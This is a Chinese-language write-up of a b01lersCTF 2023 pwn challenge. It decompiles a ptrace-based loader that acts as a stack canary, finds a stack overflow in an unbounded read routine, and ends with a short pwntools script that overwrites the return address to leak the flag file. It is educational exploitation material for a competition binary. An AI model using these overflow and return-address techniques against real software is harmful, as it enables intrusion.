b01lersCTF2023 pwn cfifufuuufuuuuu赛题复现

这题…虽然有点新意,但是从头到尾给人的感觉都太过刻意,建议改为reverse题(bushi

题目分析

拿到手两个文件:loader.pyc和二进制文件s;判断是通过loader.pyc加载二进制文件s打开的程序。

loader.pyc

使用uncompyle6反编译(这里有个坑,使用pycdc出来的结果跑不起来)。在得到的代码中有一些乱码,user_regs_struct中的值我们可以对照glibc源码文件(glibc/sysdeps/unix/sysv/linux/x86/sys/user.h)进行修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
# uncompyle6 version 3.7.3
# Python bytecode 3.6 (3379)
import struct, random, string, subprocess, os, sys, hashlib
from collections import defaultdict
import resource
PTRACE_TRACEME = 0
PTRACE_PEEKTEXT = 1
PTRACE_PEEKDATA = 2
PTRACE_PEEKUSER = 3
PTRACE_POKETEXT = 4
PTRACE_POKEDATA = 5
PTRACE_POKEUSER = 6
PTRACE_CONT = 7
PTRACE_KILL = 8
PTRACE_SINGLESTEP = 9
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_GETFPREGS = 14
PTRACE_SETFPREGS = 15
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_GETFPXREGS = 18
PTRACE_SETFPXREGS = 19
PTRACE_SYSCALL = 24
PTRACE_SETOPTIONS = 16896
PTRACE_GETEVENTMSG = 16897
PTRACE_GETSIGINFO = 16898
PTRACE_SETSIGINFO = 16899
PTRACE_LISTEN = 16904
PTRACE_O_TRACESYSGOOD = 1
PTRACE_O_TRACEFORK = 2
PTRACE_O_TRACEVFORK = 4
PTRACE_O_TRACECLONE = 8
PTRACE_O_TRACEEXEC = 16
PTRACE_O_TRACEVFORKDONE = 32
PTRACE_O_TRACEEXIT = 64
PTRACE_O_MASK = 127
PTRACE_O_TRACESECCOMP = 128
PTRACE_O_EXITKILL = 1048576
PTRACE_O_SUSPEND_SECCOMP = 2097152
PTRACE_SEIZE = 16902
import ctypes
from ctypes import *
from ctypes import get_errno, cdll
from ctypes.util import find_library

class user_regs_struct(Structure):
_fields_ = (
('r15', c_ulong),
('r14', c_ulong),
('r13', c_ulong),
('r12', c_ulong),
('rbp', c_ulong),
('rbx', c_ulong),
('r11', c_ulong),
('r10', c_ulong),
('r9', c_ulong),
('r8', c_ulong),
('rax', c_ulong),
('rcx', c_ulong),
('rdx', c_ulong),
('rsi', c_ulong),
('rdi', c_ulong),
('oax', c_ulong),
('rip', c_ulong),
('cs', c_ulong),
('eflags', c_ulong),
('rsp', c_ulong),
('ss', c_ulong),
('fs_base', c_ulong),
('gs_base', c_ulong),
('ds', c_ulong),
('es', c_ulong),
('fs', c_ulong),
('gs', c_ulong))


libc = CDLL('libc.so.6', use_errno=True)
ptrace = libc.ptrace
ptrace.argtypes = [c_uint, c_uint, c_long, c_long]
ptrace.restype = c_long

def mem_read(pid, pos=-1, tlen=8):
fd = os.open('/proc/%d/mem' % pid, os.O_RDONLY)
if pos >= 0:
os.lseek(fd, pos, 0)
buf = b''
while 1:
cd = os.read(fd, tlen - len(buf))
if cd == b'':
break
buf += cd
if len(buf) == tlen:
break

os.close(fd)
return buf


def pkiller():
from ctypes import cdll
import ctypes
cdll['libc.so.6'].prctl(1, 9)


def pnx(status):

def num_to_sig(num):
sigs = [
'SIGHUP', 'SIGINT', 'SIGQUIT', 'SIGILL', 'SIGTRAP', 'SIGABRT', 'SIGBUS', 'SIGFPE', 'SIGKILL', 'SIGUSR1', 'SIGSEGV', 'SIGUSR2', 'SIGPIPE', 'SIGALRM', 'SIGTERM', 'SIGSTKFLT', 'SIGCHLD', 'SIGCONT', 'SIGSTOP', 'SIGTSTP', 'SIGTTIN', 'SIGTTOU', 'SIGURG', 'SIGXCPU', 'SIGXFSZ', 'SIGVTALRM', 'SIGPROF', 'SIGWINCH', 'SIGIO', 'SIGPWR', 'SIGSYS']
if num - 1 < len(sigs):
return sigs[(num - 1)]
else:
return hex(num)[2:]

status_list = []
status_list.append(hex(status))
ff = [os.WCOREDUMP, os.WIFSTOPPED, os.WIFSIGNALED, os.WIFEXITED, os.WIFCONTINUED]
for f in ff:
if f(status):
status_list.append(f.__name__)
break
else:
status_list.append('')

status_list.append(num_to_sig(status >> 8 & 255))
ss = (status & 16711680) >> 16
ptrace_sigs = ['PTRACE_EVENT_FORK', 'PTRACE_EVENT_VFORK', 'PTRACE_EVENT_CLONE', 'PTRACE_EVENT_EXEC', 'PTRACE_EVENT_VFORK_DONE', 'PTRACE_EVENT_EXIT', 'PTRACE_EVENT_SECCOMP']
if ss >= 1:
if ss - 1 <= len(ptrace_sigs):
status_list.append(ptrace_sigs[(ss - 1)])
else:
status_list.append(hex(ss)[2:])
return status_list


def main():
pipe = subprocess.PIPE
fullargs = ['./s']
p = subprocess.Popen(fullargs, close_fds=True, preexec_fn=pkiller)
pid = p.pid
opid = pid
pid, status = os.waitpid(-1, 0)
ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_TRACESECCOMP | PTRACE_O_EXITKILL | PTRACE_O_TRACECLONE | PTRACE_O_TRACEVFORK)
ptrace(PTRACE_CONT, pid, 0, 0)
SXX = set()
regs = user_regs_struct()
while True:
pid, status = os.waitpid(-1, 0)
ssy = pnx(status)
if ssy[1] == 'WIFEXITED':
break
if ssy[2] == 'SIGSEGV':
break
if ssy[2] == 'SIGTRAP':
res = ptrace(PTRACE_GETREGS, pid, 0, ctypes.addressof(regs))
nn = mem_read(pid, regs.rip, 1)[0]
if nn == 0x48:
regs.rax = regs.rdi
regs.rdi = regs.rsi
ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
else:
if nn == 0x11 or nn == 0x21 or nn == 0x31:
offd = {17:0, 33:40, 49:72}
vv = mem_read(pid, regs.rsp + offd[nn], 8)
vv = struct.unpack('<Q', vv)[0]
SXX.add(vv)
regs.rip += 1
ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
elif nn == 0x12 or nn == 0x22 or nn == 0x32:
offd = {18:0, 34:40, 50:72}
vv = mem_read(pid, regs.rsp + offd[nn], 8)
vv = struct.unpack('<Q', vv)[0]
if vv not in SXX:
print('\n\n!!!Stack Violation Detected!!!\n\n')
regs.rip = 0
ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
break
SXX.remove(vv)
regs.rip += 1
ptrace(PTRACE_SETREGS, pid, 0, ctypes.addressof(regs))
res = ptrace(PTRACE_CONT, pid, 0, 0)

try:
p.kill()
except OSError:
pass

while 1:
try:
pid, status = os.waitpid(-1, 0)
ssy = pnx(status)
except ChildProcessError:
break


if __name__ == '__main__':
sys.exit(main())

通过分析loader和二进制文件,我们可以发现二进制文件中含有kill, int 3和部分花指令,为我们的调试增加了难度。

loader是通过ptrace到s上进行运行的,主要的工作是:

  • 程序kill自己后,使程序继续运行
  • 遇到int 3后,检查之后的字节,若为0x48(出现在syscall前),更改部分寄存器值
  • int 3后的字节若为0x11, 0x21, 0x31,存储栈上对应位置的值,存入集合中
  • int 3后的字节若为0x12, 0x22, 0x32,读取栈上对应位置的值,检查其是否在集合中,若不存在则终止程序,提示Stack Violation Detected;若存在则从集合中移除这个值,继续程序

由此可见,loader除了用于反调试之外,最重要的是通过程序中的花指令自行实现了一个stack canary。经过下面的分析,stack canary为retn addr。

s

逻辑分析

程序在启动时将文件名“/dev/urandom”拷贝进0x601084的位置。将dword_601000作为ptr,初始值为0,在sub_400362函数中进行了读取数据、打开文件、读取文件、关闭的操作:

1
2
3
4
5
read_chars((char *)&dword_601000[4 * dword_601000[0] + 1], 0LL, 16LL);
++dword_601000[0];
v0 = open((__int64)&dword_601000[33]);
read_chars((char *)&dword_601000[4 * dword_601000[0] + 1], v0, 16LL);
close(v0);

可见其为将读取/dev/urandom得到的数据作为key对数据进行异或并输出的过程。

然后程序在sub_400486函数中读取用户输入的数据和key并进行异或输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void sub_400486()
{
__int64 i; // rbx
char arg2; // [rsp+Fh] [rbp-39h] BYREF
_BYTE buf[16]; // [rsp+10h] [rbp-38h] BYREF
char v3[40]; // [rsp+20h] [rbp-28h] BYREF

print("Your data to decrypt?:\n");
read_chars(v3, 0LL, 16LL);
print("Your key?:\n");
readuntil((__int64)buf, 0LL, '\n');
print("Your decrypted data:\n");
for ( i = 0LL; i != 16; ++i )
{
arg2 = buf[i] ^ v3[i];
syscall(1LL, 1LL, (__int64)&arg2, 1LL);
}
}

漏洞分析

显然0x4002ed处的函数存在漏洞,函数伪代码

1
2
3
4
5
6
7
8
9
10
void __fastcall readuntil(char *buf, __int64 fd, char c)
{
do
{
if ( syscall(0LL, fd, (__int64)buf, 1LL) <= 0 )
exit(5LL);
++buf;
}
while ( *(buf - 1) != c );
}

由于这个二进制文件使用寄存器的习惯与正常程序不同,我们需要仔细分析究竟可以溢出多少字节。寻找交叉引用得到sub_400486函数。(为方便调试程序,我patch了程序,注释中为patch前的内容)

sub_400486

注意到buf是在[rsp+10h]处开始读入,可以实现栈上任意长度的覆盖。然而canary在[rsp+48h]处,即retn addr处,这使我们不能轻易控制控制流。

注意到canary在loader脚本中是以set存储的,所以是无序的。此时我们观察set中的值,除去原本的canary之外只有一个值0x4005e2,即程序启动时调用sub_400524存储的canary,此时我们别无选择——覆盖retn addr为0x4005e2。

观察0x4005e2处的汇编代码

0x4005e2

若eax==1,则程序重新调用sub_400524,即实现了程序的循环运行。往前回溯,eax对应的是sub_400486函数中syscall(1,1,&arg2,1)的返回值,显然这里返回值必定为1,因此可以通过eax==1的判断。

程序循环执行时,++dword_601000的操作会被执行多次,即读入用户输入的缓冲区地址不断后移,我们可以通过多次循环使其移至存储文件名的位置,覆盖其为”flag.txt”,从而将flag作为key读入,泄露flag

exp

1
2
3
4
5
6
7
8
from pwn import *
r = process("./loader.py")
for i in range(9):
print(i)
r.sendafter('?:\n',b'flag.txt'.ljust(16,b'\x00'))
r.sendafter(':\n',b'\x00'*16)
r.sendline(b'\x00'*0x38+p64(0x4005e2))
r.interactive()

参考资料

https://blog.snwo.kr/posts/(ctf)-b01lers-ctf-2023/